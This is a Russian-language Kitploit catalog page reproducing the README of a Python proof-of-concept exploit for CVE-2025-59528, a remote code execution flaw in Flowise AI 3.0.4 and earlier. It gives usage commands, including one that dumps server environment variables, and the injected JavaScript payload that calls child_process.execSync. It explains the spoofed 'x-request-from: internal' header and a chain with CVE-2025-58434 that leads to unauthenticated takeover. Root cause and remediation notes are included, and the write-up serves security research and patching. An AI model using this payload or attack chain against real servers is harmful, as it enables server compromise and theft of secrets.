Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Flowise-RCE-CVE-2025-59528 — Python PoC-эксплойт для CVE-2025-59528, обеспечивающий аутентифицированный RCE на Flowise AI <= 3.0.4 через эндпоинт customMCP и Node.js child_process.execSync. | Kitploit
Инструменты/GitHubGitHub/arensballiu/flowise-rce-cve-2025-59528
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubarensballiu/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

Python PoC-эксплойт для CVE-2025-59528, обеспечивающий аутентифицированный RCE на Flowise AI <= 3.0.4 через эндпоинт customMCP и Node.js child_process.execSync.

Репозиторий
1231 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-59528 — Аутентифицированное удалённое выполнение кода (RCE) в Flowise AI

Обзор

CVE ID: CVE-2025-59528
Затронутое ПО: Flowise AI
Уязвимые версии: <= 3.0.4
Исправленная версия: 3.0.5 и новее
Критичность: Критическая
Автор: arensballiu
Дата: 2025

Описание

Flowise AI версий до 3.0.4 включительно позволяет аутентифицированному пользователю добиться удалённого выполнения кода (RCE) на хост-сервере путём отправки специально сформированной полезной нагрузки JavaScript на эндпоинт /api/v1/node-load-method/customMCP.

Метод загрузки узла customMCP принимает контролируемый пользователем ввод, который вычисляется на стороне сервера как JavaScript без надлежащей санитизации или изоляции (sandboxing). Внедрив полезную нагрузку, использующую child_process.execSync из Node.js, злоумышленник может выполнять произвольные команды операционной системы с привилегиями процесса сервера Flowise.

Эндпоинт также требует наличия заголовка x-request-from: internal.

Затронутый эндпоинт

ЭндпоинтМетодТребуется аутентификацияНазначение
/api/v1/auth/loginPOSTНетАутентификация и получение сессии
/api/v1/node-load-method/customMCPPOSTДа (cookie сессии)Уязвимый эндпоинт метода загрузки узла

Доказательство концепции

Файл: CVE-2025-59528_POC.py

Требования

  • Python 3.x
  • Библиотека requests
  • Действительные учётные данные для любой учётной записи пользователя на целевой системе Flowise
pip install requests

Использование

python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Аргументы

ФлагДлинная формаОбязательныйОписание
-e--emailДаАдрес электронной почты аутентифицированного пользователя
-i--urlДаБазовый URL экземпляра Flowise
-p--passwordДаПароль аутентифицированного пользователя
-c--cmdДаКоманда ОС для выполнения на сервере

Примеры

Проверка выполнения кода:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Получить переменные окружения сервера:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Ожидаемый вывод

[+] Logged in
[+] Exploit sent
[+] Status: 200

Разбор полезной нагрузки

Эксплойт внедряет следующее JavaScript-выражение в поле mcpServerConfig:

({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — загружает встроенный модуль выполнения процессов Node.js.
  • execSync('<command>') — синхронно выполняет команду ОС, переданную злоумышленником.
  • Всё выражение обёрнуто в объектный литерал, чтобы оно корректно вычислялось в контексте JavaScript сервера.

Заголовок x-request-from: internal также добавляется к запросу, чтобы пройти проверку внутреннего источника, которая иначе заблокировала бы вызов.

Корневая причина

Конечная точка customMCP передаёт вводимые пользователем данные напрямую в контекст вычисления JavaScript на сервере без очистки или изоляции. В сочетании с неограниченным доступом к основным модулям Node.js (в частности, child_process) через process.mainModule.require это создаёт тривиально эксплуатируемый вектор RCE. Проверка заголовка x-request-from не обеспечивает сколько-нибудь значимой границы безопасности, поскольку он не сверяется ни с каким доверенным источником.

Связка с CVE-2025-58434

Эти две уязвимости можно объединить в путь атаки для неаутентифицированного RCE против экземпляров Flowise версий <= 3.0.4:

  1. Используйте CVE-2025-58434, чтобы сбросить пароль любой известной учётной записи (предварительная аутентификация не требуется).
  2. Войдите с новыми учётными данными.
  3. Используйте CVE-2025-59528, чтобы выполнить произвольные команды ОС на сервере.

Устранение

  • Обновитесь до Flowise AI 3.0.5 или более поздней версии, где уязвимый путь вычисления удалён или должным образом изолирован.
  • Никогда не вычисляйте управляемые пользователем строки как код в серверном контексте.
  • Ограничьте доступ к опасным модулям Node.js (child_process, fs и т. д.) с помощью надлежащей песочницы (например, vm2, изолированных контекстов или удаления доступа к process.mainModule).
  • Проверяйте и аутентифицируйте заголовок x-request-from через серверный механизм, а не простой строковой проверкой.
  • Применяйте принцип наименьших привилегий к процессу сервера Flowise.

Отказ от ответственности

Данный proof of concept предоставляется исключительно в образовательных целях и для авторизованных исследований в области безопасности. Использование этого скрипта против систем без явного письменного разрешения является незаконным и неэтичным. Автор и участники не несут ответственности за неправомерное использование.

Скачать инструмент